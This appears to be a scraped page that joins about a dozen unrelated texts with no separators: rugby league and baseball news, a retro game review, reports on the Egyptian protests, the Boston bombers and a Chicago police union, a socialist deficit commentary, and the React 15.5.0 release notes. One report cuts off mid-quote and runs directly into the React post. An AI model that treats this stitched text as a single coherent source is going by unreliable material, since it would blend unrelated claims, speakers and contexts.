"We're aware of it and we've worked with the NRL Integrity Unit from the time we informed them of the issue," said Eels chief executive Scott Seward. "We await the NRL's final outcome once Ken has gone through due process and then the club can make a full statement. "We certainly don't condone what has happened and we'll deal with it the right way. We have to be concerned with the welfare of the players and we will be. We will deal with it in an appropriate fashion." Both players will face an Eels disciplinary committee once the NRL has ratified its punishments. Meanwhile, the dramas couldn't have come at a worse time for the club, which is attempting to take positive steps off the field. Parramatta and New Zealand Warriors players will link arms before their clash at Pirtek Stadium on Saturday as part of a landmark initiative to raise awareness about domestic violence.
The Eels will officially launch their domestic violence action plan as part of the NRL's Women in League round celebrations. The club has partnered with the No More organisation, which aims to break down the stigma, silence and shame that prevents people from talking about issues such as domestic violence and sexual assault. The relationship was born out of Parramatta's partnership with the Northern Territory government, in conjunction with Darwin's ABC broadcaster and anti-domestic violence campaigner Charlie King. "It's obviously an extremely important issue and if we can raise awareness of family and domestic violence as a club, we're doing the right thing by our community," Seward said. "Obviously the timing is significant with the Women in League round and we thought what better way to show our support for the program this week.
"We will encourage our members and fans to also link arms to show the whole community we're saying No More to family and domestic violence." The initiative comes less than a year after Canterbury formed its own three-year charity partnership with the White Ribbon foundation. Several other NRL clubs are also doing their bit to raise awareness. North Queensland is using its blockbuster against Brisbane to join forces with JCU Townsville Fire and the North Queensland Women's Legal Service to make its own contribution to Domestic Violence Awareness Month. Seward said the club would have protocols to deal with any issues that may arise. "It's something you hope doesn't happen," he said. "It's not just the players, it's how we respond with members of staff and the overall Parramatta Eels family, whether it be CEO, chairman, volunteer or star player.
"We are strong on the fact this is the fabric of this football club, we believe in these community initiatives."Vampires. Werewolves. Mutants. Zombies. Patrons of every entertainment industry have been consumed by the culture of the undead, embracing every Walking Dead and Twilight spin-off that is thrown at them, with creative geniuses in a race against themselves to produce the new fresh remake. However, not every filmmaker has the luxury of "money", or a "script", or "real actors". Be it a campy horror about a band rising from the dead to defeat Hitler via rock and roll, or a brilliant utilization of David Carradine's gift for unironically jamming a stake into a corpse that isn't even a vampire, the masses have spoken. And those masses want cheese with their screams.
Here's to you, unsung heroes of the "Straight to DVD" bin.
The finest B-movie video game to ever grace the world was gifted to SNES and Genesis players alike in 1993 by the powerhouse team of LucasArts and Konami. A game so unique it retains a completely appropriate cult following more than two decades after its release. I'm talking about you, Zombies Ate My Neighbors.
Paying brilliant homage to its gloriously underfunded film brethren, Zombies Ate My Neighbors is a whirling cyclone of bad cliches and even worse puns. Presenting as a run and gun meets scavenger hunt, ZAMN has managed to hold firm its grip on the souls of the 90's kids by combining awesome level design with unbelievable villains and even less believable weapons. This masterpiece crams as many corny horror stereotypes as possible into 48 levels of pure 16-bit bliss.
The interactive creature feature launches off with the choice between two young protagonists: the spiky haired, 3D-glasses-clad Zeke, and Julie, who dons a baseball cap while falling victim to the fashion faux pas of long sleeves with shorts. Both characters start off equipped with water guns filled with holy water, an adequate piece of weaponry for battling the unexpected hordes of zombies taking over their neighborhood. Along the way additional weapons are collected, including a bazooka, weed whacker, flame thrower, and fire extinguisher. This vast arsenal comes in handy with the appearance of more difficult enemies, like an ax-throwing infant, chainsaw-wielding masked madman, and gigantic ants. Rounding out the cast are the classic horror sweethearts of vampires (hilariously named Vlad Belmont), werewolves, mummies, and Frankenstein-like monsters.
It is the mission of the player to rescue as many neighbors as possible before the monsters get to them. Level 1 opens with 10 neighbors to save. Any lost are reflected in available rescues in future levels (if the player only rescues nine neighbors, and one dies, then only nine will be available moving forward). These potential victims range in variety from cheerleader to infant, army man to artist, trampolining ginger child to dog. Upon saving the available innocent bystanders, all of whom are inexplicably unimpressed by the demons of darkness spawning from the earth to eat their flesh, a door will magically appear, transporting the character to their next location.
Each new level opens with a title scene, depicting names like Terror in Aisle Five, Chainsaw Hedgemaze Mayhem, Gridiron Terror, and I Was A Chainsaw Maniac in a majestic stock horror font. Every stage is a veritable wonderland of twists, turns, and toxic waste. The player navigates their character through the maze-like scenery of shopping malls, Egyptian pyramids, and boat yards, on the hunt to save the neighbors from the clutches of death. An on screen map shows the area surrounding the character's immediate location, with dots appearing when they close in on a tormented soul desperate for a hero amidst the ensuing apocalypse.
Each level has a unique soundtrack, reminiscent of classic horror melodies with a charmingly upbeat and optimistic spin. The sound effects are well executed, and blend naturally with the music instead of overpowering it. Be careful not to be fooled by ZAMN's quirky humor, however. After the first 12 levels, the difficulty picks up and, unfortunately, the game operates on a password system in lieu of progress saving. It is a feature that shows no mercy, with weapons and other additional items being nearly depleted between plays. This is arguably the singular black mark on an otherwise perfect game.
There is an intrinsic value in the ability to execute something so poorly that it becomes unintentionally endearing. The film industry has provided consumers with easily obtainable goods for satisfying their masochistic craving for subpar quality flicks. For every Exorcist there will be a dozen murderous Thanksgiving turkeys and even more homicidal ice cream men painting the walls with ketchup blood. However, for every Silent Hill 2 and Eternal Darkness, there can be only one Zombies Ate My Neighbors. And I wouldn't have it any other way.
Shine on, you crazy diamond.
* * * * *
The movies referenced in the first paragraph actually exist. They are Hard Rock Zombies and The Monster Hunter, formerly known as Natural Selection. You're welcome.
Lizzy Finnegan is a ginger gamer, with an irrational love of food trucks, and a completely rational love of bacon. More than 15 years later, she still hates the Water Temple. Puns welcome.CAIRO, Egypt — Egypt remained locked in a political standoff Saturday with anti-government protesters demanding the immediate resignation of President Hosni Mubarak but the leader refuses to step down.
Tens of thousands of anti-Mubarak demonstrators gathered in Cairo’s central Tahrir Square Saturday, the 12th day of their protests which have largely closed down ordinary business across the country.
But Egypt's prime minister took steps to return the country to normal and suggesting that a resolution to the crisis can be reached without the immediate removal of President Hosni Mubarak.
Prime Minister Ahmed Shafiq said on state TV that the government may be able to ride out protests and reach a deal with its opponents without Mubarak's ouster.
A defiant Shafiq said a 100,000-strong demonstration Friday failed to force Mubarak out as protesters hoped. "We haven't been affected and God willing next Friday we won't be affected," he said. "All this leads to stability."
The prime minister met with leaders of the anti-government protests to ease President Hosni Mubarak out of office, according to local reports. But the talks have reached a stalemate over the issue of Mubarak’s departure.
International leaders added to pressure on Mubarak in efforts to find a resolution to Egypt’s crisis.
"The status quo is simply not sustainable |
and are committed to bringing those improvements to all of our users with minimal effort.
To that end, today we’re releasing React 15.5.0.
New Deprecation Warnings
The biggest change is that we’ve extracted React.PropTypes and React.createClass into their own packages. Both are still accessible via the main React object, but using either will log a one-time deprecation warning to the console when in development mode. This will enable future code size optimizations.
These warnings will not affect the behavior of your application. However, we realize they may cause some frustration, particularly if you use a testing framework that treats console.error as a failure.
Adding new warnings is not something we do lightly. Warnings in React are not mere suggestions — they are integral to our strategy of keeping as many people as possible on the latest version of React. We never add warnings without providing an incremental path forward.
So while the warnings may cause frustration in the short-term, we believe prodding developers to migrate their codebases now prevents greater frustration in the future. Proactively fixing warnings ensures you are prepared for the next major release. If your app produces zero warnings in 15.5, it should continue to work in 16 without any changes.
For each of these new deprecations, we’ve provided a codemod to automatically migrate your code. They are available as part of the react-codemod project.
Migrating from React.PropTypes
Prop types are a feature for runtime validation of props during development. We’ve extracted the built-in prop types to a separate package to reflect the fact that not everybody uses them.
In 15.5, instead of accessing PropTypes from the main React object, install the prop-types package and import them from there:
import React from'react' ; class Component extends React. Component { render ( ) { return < div > { this. props. text } </ div > ; } } Component. propTypes = { text : React. PropTypes. string. isRequired, } import React from'react' ; import PropTypes from 'prop-types' ; class Component extends React. Component { render ( ) { return < div > { this. props. text } </ div > ; } } Component. propTypes = { text : PropTypes. string. isRequired, } ;
The codemod for this change performs this conversion automatically. Basic usage:
jscodeshift -t react-codemod/transforms/React-PropTypes-to-prop-types.js < path >
The propTypes, contextTypes, and childContextTypes APIs will work exactly as before. The only change is that the built-in validators now live in a separate package.
You may also consider using Flow to statically type check your JavaScript code, including React components.
Migrating from React.createClass
When React was initially released, there was no idiomatic way to create classes in JavaScript, so we provided our own: React.createClass.
Later, classes were added to the language as part of ES2015, so we added the ability to create React components using JavaScript classes. Along with function components, JavaScript classes are now the preferred way to create components in React.
For your existing createClass components, we recommend that you migrate them to JavaScript classes. However, if you have components that rely on mixins, converting to classes may not be immediately feasible. If so, create-react-class is available on npm as a drop-in replacement:
var React = require ('react' ) ; var Component = React. createClass ( { mixins : [ MixinA ], render ( ) { return < Child /> ; } } ) ; var React = require ('react' ) ; var createReactClass = require ( 'create-react-class' ) ; var Component = createReactClass ( { mixins : [ MixinA ], render ( ) { return < Child /> ; } } ) ;
Your components will continue to work the same as they did before.
The codemod for this change attempts to convert a createClass component to a JavaScript class, with a fallback to create-react-class if necessary. It has converted thousands of components internally at Facebook.
Basic usage:
jscodeshift -t react-codemod/transforms/class.js path/to/components
Discontinuing support for React Addons
We’re discontinuing active maintenance of React Addons packages. In truth, most of these packages haven’t been actively maintained in a long time. They will continue to work indefinitely, but we recommend migrating away as soon as you can to prevent future breakages.
react-addons-create-fragment – React 16 will have first-class support for fragments, at which point this package won’t be necessary. We recommend using arrays of keyed elements instead.
– React 16 will have first-class support for fragments, at which point this package won’t be necessary. We recommend using arrays of keyed elements instead. react-addons-css-transition-group - Use react-transition-group/CSSTransitionGroup instead. Version 1.1.1 provides a drop-in replacement.
- Use react-transition-group/CSSTransitionGroup instead. Version 1.1.1 provides a drop-in replacement. react-addons-linked-state-mixin - Explicitly set the value and onChange handler instead.
- Explicitly set the and handler instead. react-addons-pure-render-mixin - Use React.PureComponent instead.
- Use instead. react-addons-shallow-compare - Use React.PureComponent instead.
- Use instead. react-addons-transition-group - Use react-transition-group/TransitionGroup instead. Version 1.1.1 provides a drop-in replacement.
- Use react-transition-group/TransitionGroup instead. Version 1.1.1 provides a drop-in replacement. react-addons-update - Use immutability-helper instead, a drop-in replacement.
- Use immutability-helper instead, a drop-in replacement. react-linked-input - Explicitly set the value and onChange handler instead.
We’re also discontinuing support for the react-with-addons UMD build. It will be removed in React 16.
React Test Utils
Currently, the React Test Utils live inside react-addons-test-utils. As of 15.5, we’re deprecating that package and moving them to react-dom/test-utils instead:
import TestUtils from'react-addons-test-utils' ; import TestUtils from'react-dom/test-utils' ;
This reflects the fact that what we call the Test Utils are really a set of APIs that wrap the DOM renderer.
The exception is shallow rendering, which is not DOM-specific. The shallow renderer has been moved to react-test-renderer/shallow.
import { createRenderer } from'react-addons-test-utils' ; import { createRenderer } from'react-test-renderer/shallow' ;
Acknowledgements
A special thank you to these folks for transferring ownership of npm package names:
Installation
We recommend using Yarn or npm for managing front-end dependencies. If you’re new to package managers, the Yarn documentation is a good place to get started.
To install React with Yarn, run:
yarn add react@^15.5.0 react-dom@^15.5.0
To install React with npm, run:
npm install --save react@^15.5.0 react-dom@^15.5.0
We recommend using a bundler like webpack or Browserify so you can write modular code and bundle it together into small packages to optimize load time.
Remember that by default, React runs extra checks and provides helpful warnings in development mode. When deploying your app, make sure to compile it in production mode.
In case you don’t use a bundler, we also provide pre-built bundles in the npm packages which you can include as script tags on your page:
React
Dev build with warnings: react/dist/react.js
Minified build for production: react/dist/react.min.js
Dev build with warnings: react/dist/react.js Minified build for production: react/dist/react.min.js React with Add-Ons
Dev build with warnings: react/dist/react-with-addons.js
Minified build for production: react/dist/react-with-addons.min.js
Dev build with warnings: react/dist/react-with-addons.js Minified build for production: react/dist/react-with-addons.min.js React DOM (include React in the page before React DOM)
Dev build with warnings: react-dom/dist/react-dom.js
Minified build for production: react-dom/dist/react-dom.min.js
(include React in the page before React DOM) Dev build with warnings: react-dom/dist/react-dom.js Minified build for production: react-dom/dist/react-dom.min.js React DOM Server (include React in the page before React DOM Server)
Dev build with warnings: react-dom/dist/react-dom-server.js
Minified build for production: react-dom/dist/react-dom-server.min.js
We’ve also published version 15.5.0 of the react, react-dom, and addons packages on npm and the react package on bower.
Changelog
React
Added a deprecation warning for React.createClass. Points users to create-react-class instead. (@acdlite in d9a4fa4)
. Points users to create-react-class instead. (@acdlite in d9a4fa4) Added a deprecation warning for React.PropTypes. Points users to prop-types instead. (@acdlite in 043845c)
. Points users to prop-types instead. (@acdlite in 043845c) Fixed an issue when using ReactDOM together with ReactDOMServer. (@wacii in #9005)
together with. (@wacii in #9005) Fixed issue with Closure Compiler. (@anmonteiro in #8895)
Another fix for Closure Compiler. (@Shastel in #8882)
Added component stack info to invalid element type warning. (@n3tr in #8495)
React DOM
Fixed Chrome bug when backspacing in number inputs. (@nhunzaker in #7359)
Added react-dom/test-utils, which exports the React Test Utils. (@bvaughn)
React Test Renderer
Fixed bug where componentWillUnmount was not called for children. (@gre in #8512)
was not called for children. (@gre in #8512) Added react-test-renderer/shallow, which exports the shallow renderer. (@bvaughn)
React AddonsOn Sunday, Twins outfielder Michael Cuddyer was celebrating being named to the American League All-Star team.
He has been with the Twins longer than any other current player, part or all of 11 seasons, but when Cuddyer looked back to his first day in a Twins uniform, he didn't dream of such success. He was a September call-up in 2001, after hitting.301 with 30 home runs for Class AA New Britain.
"I was coming off of a 24-hour drive, because it was right after 9/11," Cuddyer recalled. "And I had to drive from New Britain, Conn., to here, to play. So it was a 24-hour drive for me. I was a little bit groggy, but I got a hit in my second at-bat. So that was fun."
Cuddyer related how it felt to be selected as a major league All-Star for the first time.
"Words can't describe it, I'm on Cloud Nine right now," he said. "[Manager Ron Gardenhire] called me into his office a couple of minutes before the selection show came on. It was awesome.
"I'm going to take all my gloves. I don't know where [Texas manager] Ron Washington plans to play me, but I'm definitely going to take all my gloves. Wherever he needs me, I'm going to go out there and play."
Cuddyer talked about his 14 years in the Twins organization.
"It's been incredible, you know?" he said. "Six playoffs, six division championships, the way we've come back some seasons and the way we've won the championships from the get-go. Being on the team that was able to get us back on the winning ways was a lot of fun."
He will be a free agent after this year. He hopes to remain a Twin, although there haven't been any contract negotiations yet.
"I don't think we're going to do that during the season," Cuddyer said. "I think that's something we'll explore when the season's over, hopefully.
"We'll see. I can't tell the future, I don't know, but I hope to stay here. This is my 14th year in the organization, and bits and pieces of 11 years up here in the big leagues. So it would be tough [if I left]."
Liz Eull, who has been a Gophers senior associate athletics director as well as athletic department chief financial officer since 2003, will move to the office of new President Eric Kaler, supervising the athletic department as well as other duties.
A University of Minnesota interoffice memo reported the news of Eull's promotion Friday.
Eull moved from the president's office to become the financial chief after there had been a report that the athletic department would be millions of dollars in debt in the next few years. She played a big part in turning the program around, and the athletic department has been in the black ever since she took over.
In her new position, she will work with athletic director Joel Maturi. Eull and Maturi have had a great relationship over the years, and there is no reason why it should not continue.
Maturi also will report to Kaler, at least until his contract expires next June.
Kathy Brown -- who had been a top assistant to former president Robert Bruininks and involved in the athletic department, including the appointment of coaches -- will now be vice president of human resources for the university.
One might wonder why so many of the NFL's legal situations such as the present lockout wind up not only being heard before local judges but represented by local lawyers.
Many NFL trials have been heard locally by Judge David Doty. And presiding over the NFL lockout hearings has been U.S. Magistrate Judge Arthur Boylan, including one for 16 hours here one day last week.
The reason for the local NFL connection is that Leonard Lindquist, who help found the law firm of Lindquist and Vennum, was instrumental in helping form the first NFL Players Association in 1969. Lindquist died in 2004 at age 92, but lawyers from his firm continue to represent the NFLPA.
Twins third baseman Danny Valencia is hitting only.229 but still leads the team with 42 RBI. He drove in two big runs in the Twins' four-run seventh inning Sunday. Valencia is also second to Cuddyer (132) in total bases with 112.
Even though Joe Mauer has missed most of the season, he was third in the All-Star Game voting for AL catcher with 2,308,436, behind leaders Alex Avila of Detroit (4,144,384) and the Yankees' Russell Martin (3,646,033).
On Friday night in Suite 14 at Target Field, a big homecoming party was thrown by John Pohlad, a cousin of Twins owners Jim, Bill and Bob Pohlad, for former Gopher Kris Humphries, now with the New Jersey Nets, and his fiancé, Kim Kardashian. The suite was loaded with celebrities from all over.
Wadena politicians give the Twins Community Fund a lot of credit for furnishing the money necessary to rebuild their ballpark after it was damaged by a tornado in June 2010.Massive US deficit spells austerity policy for next administration
By Jerry White
30 July 2008
The Bush administration this week predicted that the US budget deficit will hit a record $482 billion in 2009. This means that the next president, whether Democrat Barack Obama or Republican John McCain, will follow a policy of unprecedented austerity, including gutting entitlement programs, such as Medicare and Social Security.
Although the deficit figure is $74 billion higher than what the White House predicted just two months ago, it is widely acknowledged that it severely underestimates the real scope of the coming shortfall. The amount announced by White House budget director Jim Nussle includes only $70 billion for the wars in Iraq and Afghanistan—which could cost at least three times as much.
Moreover, the estimate ignores the $100 billion—or hundreds of billions, which could be the eventual cost—being allocated for the Treasury Department’s rescue of the mortgage finance companies, Fannie Mae and Freddie Mac.
The estimate was based on projections of better-than-expected economic growth, corporate tax revenues, unemployment and inflation estimates and a slowing down of the fall in housing prices. These were quickly discredited by news that real estate prices had fallen by a record 15.8 percent in 20 major US cities over the past year. The same day that the White House released the estimate, Merrill Lynch was forced to write-down $5.7 billion in mortgage-backed assets and was essentially bailed out by investors from Singapore.
“That’s not the real number,” former Bush Treasury Secretary Paul O’Neill said of the deficit in a comment cited in the Washington Post. “It’s upward of $500 billion and counting. It’s a mind-boggling number.”
This staggering rise in government indebtedness—which has more than doubled in the current 2008 fiscal year to $389 billion, from $162 billion in 2007 and will be nearly half a trillion in 2009—further undermines the international creditworthiness of the US and places even greater downward pressure on the US dollar.
According to the New York Times, “When Mr. Bush took office, he predicted that federal debt held by the public—the amount borrowed by the government to pay for past deficits—would shrink to just 8 percent of the gross domestic product in 2009. He now estimates that it will amount to 40 percent.”
There is an overwhelming consensus in the economic and political establishment that ordinary Americans will have to pay for the crisis of American capitalism and a budget deficit that has been fueled by massive war spending, tax cuts for the wealthy and the provision of unlimited public resources to bail out major financial institutions.
“This is going to make it extraordinarily difficult for whoever’s going to become president,” Senate Budget Committee Chairman Kent Conrad (Democrat-North Dakota) told the Washington Post. “I don’t care who the president is—when they come and meet with their secretary of the Treasury, the Federal Reserve chairman, their top economists, it will be a sobering moment.”
If he wins the November elections, whatever minimal spending proposals Barack Obama has made during the campaign—including his so-called universal health care plan, tax credits for middle and low-income families and miniscule increases in infrastructure spending—will quickly be shelved in the name of “fiscal responsibility.”
Moreover, the political groundwork for major cutbacks in vital social services is already being laid. In their reports on the budget deficit, both the New York Times and the Washington Post complained of “fiscal pressures” due to the growing Medicare and Social Security costs—a thinly veiled suggestion that the next president will have no choice but to gut these programs, upon which tens of millions of seniors depend for income and health care.
Nowhere is there a suggestion that military spending—which at nearly $700 billion consumes well over half of the US government’s discretionary spending and is more than the rest of the world’s military spending combined—should be cut, let alone eliminated.
For his part, Obama has pledged to expand the military by nearly 100,000 soldiers and marines and increase spending. Given the costs of the ongoing wars in Iraq and Afghanistan, as well as new weapons systems, “ It’s hard to see how we could spend less on the military in the near term,” Richard Danzig, a former Navy secretary who advises Obama on national security, told Reuters in an interview last week.
While McCain calls for the extension of Bush’s tax cuts for the rich, Obama would only raise the top tax rates to the levels that existed under the Clinton administration—to 36 percent and 39.6 percent, from the current 33 percent and 35 percent. He has repeatedly rejected any return to higher tax rates on the wealthy as “confiscatory” and has told the Wall Street Journal he would also consider cutting corporate taxes.
On Monday, Obama held a Washington meeting with leading figures from corporate America and both Democratic and Republican parties. These included billionaire financier Warren Buffett, the CEOs of JPMorgan Chase, PepsiCo and Google, as well as Bush’s former Treasury Secretary Paul O’Neill, now a special advisor to the private equity firm Blackstone Group.
Also participating were top Obama economic advisors Robert Rubin, chairman of Citigroup and Clinton’s former treasury secretary, and Paul Volcker, who served as Federal Reserve chairman under the Carter and Reagan administrations. Ruben played a decisive role in the deregulation of the financial markets that helped create the mortgage and real estate bubble and made billions for wealthy speculators.
Volcker spearheaded the attack on the working class in the early 1980s by driving up interest rates to record levels and deliberately provoking the worst recession since the Great Depression of the 1930s in order to use unemployment as a hammer to drive down wages and living standards.
With bureaucrats from the AFL-CIO and Change to Win union federations present to perpetuate the fraud that Obama speaks for the interests of workers, the Democratic presidential candidate said, “There were some irresponsible decisions that were made on Wall Street and in Washington. In the past few years, I think we learned an essential truth that in the long run we can’t have a thriving Wall Street if we don’t have a thriving Main Street.”
Bipartisan measures were needed, he said, to “stabilize financial markets” and encourage entrepreneurship and the free market.
On Tuesday, Obama held discussions with current Federal Reserve Chairman Ben Bernanke and Bush’s Treasury Secretary Henry Paulson, where he signaled support for the government’s bailout of mortgage giants Fannie Mae and Freddie Mac.
While unlimited public funds are being made available to bail out wealthy investors, there will be no relief for masses of working people in the US facing layoffs, home foreclosures, unsustainable levels of personal debt, declining wages and skyrocketing prices for basic necessities.
Once again, both parties will use the lie that there is “no money” to meet social needs, while hundreds of billions are squandered on imperialist wars and channeled into the pockets of the wealthiest one percent of the population.
This guarantees that under the next administration, the working class occupants of “Main Street” will continue to face unprecedented levels of social distress and economic insecurity, while the country’s infrastructure—its roads, schools, bridges and public services—continue to crumble from neglect
Meeting the basic needs of the population—for decent paying jobs, high quality health care and education and affordable housing—requires a complete reorganization of economic life. Social and political priorities must be turned inside out, rejecting the anarchic prerogatives of the capitalist market and placing the needs of working people first.
This underscores the need for a break with the Democratic and Republican parties and the building of a mass political movement of the working class based on a socialist alternative to the profit system.By Ross Kerber, Jim Finkle and Mark Hosenball
BOSTON/WASHINGTON, May 2 (Reuters) - The two brothers suspected of carrying out the deadly attacks on the Boston Marathon had originally planned to set off their bombs on July 4, a law enforcement official said.
The source said the suspects, Tamerlan and Dzhokhar Tsarnaev, advanced the date of their attack because they completed building bombs more quickly then they originally anticipated. The official declined to be identified and did not offer more details.
Police say the brothers detonated two bombs made with pressure-cookers in the April 15 attack on the Boston Marathon that killed three people and wounded 264.
An attack on Boston's packed July 4 celebrations would have carried the extra symbolism of disrupting the city's widely followed Independence Day celebrations.
News of the alleged July 4 attack plan was earlier reported by The New York Times.
Tamerlan Tsarnaev, 26, was killed in a shootout with police in Watertown, Massachusetts, on April 19. His brother was wounded in the shootout and captured later that day.
The remains of Tamerlan Tsarnaev were claimed on behalf of his family on Thursday. His body had been kept at a Boston facility for more than a week.
Terrel Harris, a spokesman for the Office of the Chief Medical Examiner of Massachusetts, said a funeral services company retained by the family had claimed the body. Harris declined to provide details including the cause of death or where the body had been taken.
Dzhokhar Tsarnaev, 19, has been charged with crimes in connection with the bombing that could carry the death penalty if he is convicted, and is being held at a prison medical facility in Devens, Massachusetts.
On Tuesday, Tamerlan Tsarnaev's widow, Katherine Russell, said through an attorney that she wished his remains to be released to the Tsarnaev family.
Russell's attorney could not immediately be reached on Thursday.
Investigators have questioned Russell as they seek clues about how the ethnic Chechen brothers allegedly built the two bombs used in the attack and whether they had help.
The suspects' parents previously lived in Cambridge, Massachusetts, but have since returned to Russia. Other relatives remain in the United States, including an uncle, Ruslan Tsarni of Montgomery Village, Maryland, who has been seen in Rhode Island in recent days.
Officials said on Thursday that three men who had been charged with interfering with the investigation of the bombing were in custody at a jail in Middleton, Massachusetts, a small town about 20 miles (30 km) North of Boston.COOPERSTOWN, N.Y. For former Blue Jays GM Pat Gillick, it was a two-day exercise in preparation conducted by the Baseball Hall of Fame in this beautiful village on the shores of Otsego Lake. Annually, the Hall brings in honourees who will be part of the ceremony during the July induction weekend, intensely prepping them for what to expect from the Hall and in what is expected of them.
Pat Gillick, left, and his wife Doris look at a Toronto Blue Jays exhibit during his orientation visit at the Baseball Hall of Fame in Cooperstown, N.Y., on Tuesday, April 19, 2011. Gillick, who built three World Series champions, becomes the 32nd executive to elected to the Hall of Fame solely on his work in the front office. (AP Photo/Mike Groll) ( Mike Groll / AP )
On Tuesday it was Gillick’s turn at the school of Fame. After a busy morning of signing baseballs and sorting out invitation lists, tickets and hotel arrangements, it was time for a personal tour of the museum led by Erik Strohl, the Hall’s chief archivist. The Star was one of four North American media outlets invited to accompany Pat and wife Doris. “To say I even had the opportunity to be nominated to be selected is a very humbling experience,” Gillick said. “Because of the tremendous amount of talent, of personality, integrity and reputation of the people who are in the Hall of Fame, to be a part of that group is indescribable.” Gillick is an emotional human being. He wears his heart on his sleeve when it comes to romanticizing the game he loves. The tour began in a darkened theatre with a stirring 10-minute video on baseball and its ever-evolving connections to society. The first voice belonged to the late Yankees announcer Bob Shepard. Gillick got a lump in his throat. After that it was the Jays display, including the two World Series wins. He paused for a long time in front of the glass. Another lump in his throat.
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“Joe’s bat’s in there,” he said quietly to Doris. They then escorted Gillick to the archive vault where more than 35,000 undisplayed items are marked and stored. They pulled some items of personal interest for Gillick to see. In order to handle them, he and Doris had to slip on a pair of white gloves along with their tour guide Strohl. Gillick opted to hang on to his gloves as a souvenir. Among the meaningful items pulled from boxes for Gillick’s perusal were: Dave Stieb’s no-hitter cap; Fred McGriff’s bat from the Jays’ 10-homer game; Cal Ripken’s batting glove from the final game of his streak; an Ichiro bat from his rookie 2001 season and a Babe Ruth bat featuring 28 hand-carved notches, one for each homer he hit with that particular weapon. The two-hour tour ended in the Plaque Gallery, where Gillick, in making one final sweep of the hall, was interrupted by an 11-year-old boy who asked timidly for his autograph. Gillick graciously signed his paper, asking him what grade he was in and what position he played. Forever scouting. The tour ended in silent reverence at the exact spot where his bronze plaque is to be installed this summer along with those of Roberto Alomar and Bert Blyleven. They will share a wall next to Rickey Henderson, Jim Rice and Cal Ripken, Jr. At that point came a final throat lump.
“Joe Carter’s bat, shoes, it is a very special moment,” Gillick summarized. “To win that first World Series, to get over the hump is like climbing a mountain and all of a sudden you get to the top and you made it. So to see Joe’s artifacts kind of brought back those memories of 18-19 years ago.” Imagine, if he could barely make it through a museum tour, how will Gillick finish his speech?
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“I’ve been thinking about that,” he smiled. “People ask me about what I’m going to say. I’ve changed my speech about four or five times. There’s time constraints so hopefully they can stick me in the middle where they might need a little time later. I might only get to four or five minutes.” Gillick’s career in pro baseball started with the Houston Colt.45’s in 1963, on to the Yankees in 1974 and then to the Jays in 1976. His wife did not join him that first year in Toronto but caught up with her husband and the city, never expecting the road would lead to Cooperstown. “I never thought it would end up like this,” Doris said. “It wasn’t really the goal. The city... I lived there for 30 years. Even when he left, I commuted to wherever he was. We (have) moved to Seattle but I lived (in Toronto) for 30 years. It’s is a beautiful city. Toronto will always be our home for my daughter and myself because I lived there longer than anyplace else.” Being the newest member of a select group of 295 Hall of Famers clearly has not gone to Gillick’s head. Though it would have somehow seemed acceptable had Gillick booked a limousine for the four-hour ride from Philly to this Cooperstown command performance, Pat and Doris opted for the train through New York to Albany, then by car, seven hours for what might be four. “There’s a lot of people that got us to this spot,” Gillick said. “Everyone I’ve worked with, the clubs I’ve been associated with, the scouts, the whole team that worked together, the players, that’s what it’s all about. I guess I just feel like I’m one of those guys. I put my shoes on and my pants on just like everybody else. I’m not any better than anyone else.” The Expansion Era panel of voters beg to disagree.Police union hiring of Jason Van Dyke sparks outrage
Jason Van Dyke — the white Chicago cop charged with murder after firing 16 shots into a knife-wielding black teenager in 2014 — works for the Fraternal Order of Police, the union president confirmed Wednesday night.
WFLD-Channel 32 first reported Wednesday night that Van Dyke was working at the FOP hall in the West Loop because he couldn’t find another job.
The fatal shooting of Laquan McDonald prompted a U.S. Justice Department investigation of the Chicago Police Department — and the city’s release of a video of the shooting in November led to the firing of police Supt. Garry McCarthy on Dec. 1.
Dean Angelo, president of the Fraternal Order of Police, said he decided to hire Van Dyke after receiving a call from the Chicago Sun-Times several weeks ago asking whether the officer was working for the union.
At the time, Angelo said that Van Dyke wasn’t working for the FOP. The Sun-Times made the inquiry after hearing from former FOP officials who thought Van Dyke was working for the union and were opposed to the arrangement.
On Wednesday night, Angelo said he then considered the idea and decided to give Van Dyke a job.
Van Dyke, who is stripped of his police powers and is on unpaid status, makes $12 an hour from the FOP — slightly above what a typical unarmed security guard is paid — to be a jack-of-all-trades for the union.
“He might be on the roof, he might be in the office, he does anything we need,” Angelo said.
Angelo said it’s not unprecedented.
“We’ve probably had 100 people in no-pay status who we got jobs or hired at the hall. This is nothing new,” he said.
Angelo said one of those officers was Serena Daniels, who was stripped of her police powers and was eventually fired after fatally shooting LaTanya Haggerty, an unarmed passenger in a car, in 1999.
The FOP’s move drew quick criticism and sparked promises of protests.
The Rev. Michael Pfleger blasted the move, saying in part on a Facebook post: “The Police Union says to Chicago we don’t give a Damn what he did or what you think he is one of ours, and we are going to take care of him... ”
The post was shared by more than 1,000 people by early Thursday morning.Life News
A new photo of Edward Snowden shows him on a boat in Moscow with the Cathedral of Christ the Saviour in the background.
The scene was published by LifeNews, which published a photo of the former NSA contractor grocery shopping earlier this month.
The scene is fascinating given the quizzical look on the 30-year-old's face, which raises the question of who took the photo and what his mindset is.
It appears that Sarah Harrison, a WikiLeaks advisor who has reportedly been with Snowden since he was in Hong Kong, may be standing to his left. But that's unclear because the woman is not looking at the camera.
Snowden's Moscow lawyer, Anatoly Kucherena, told LifeNews that Snowden will soon begin working for an unnamed Russian website.
The Snowden sighting and news comes less than 24 hours after revelations that the NSA spied on the Vatican during the papal conclave and also found a way to infiltrate the clouds of both Google and Yahoo.
Kucherena, who is employed by the Kremlin's security services, added that Snowden enjoys walks around the capital — where he lives is also a mystery — and that his Russian language skills are getting better.
On August 1 Russia granted Snowden temporary asylum, which Kucherena said gives him "the same rights and freedoms possessed by the citizens of the Russian Federation." It can be renewed indefinitely.
Snowden had flown to Moscow on June 23 after reportedly spending several days in the Russian consulate in Hong Kong. On June 14 the U.S. filed charges, and on June 22 Snowden's passport was revoked.
Around June 23 WikiLeaks founder Assange had convinced Ecuador's consul in London to provide a document requesting that authorities allow Snowden to travel to Ecuador via Russia "for the purpose of political asylum."
Ecuador's president subsequently said the document was "completely invalid," stranding Snowden in Russia.
Ray McGovern, a former CIA officer who recently visited Snowden's apartment, said he had to pass through metal detectors before the meeting and that the former CIA technician appeared to be attended by some kind of official Russian security detail.Memorial Day barbecues and parades were thwarted this year in Houston when a massive storm dumped more than 10 inches of rain in two days, creating a Waterworld of flooded freeways, cars, houses and businesses, leaving several people dead and hundreds in need of rescue.
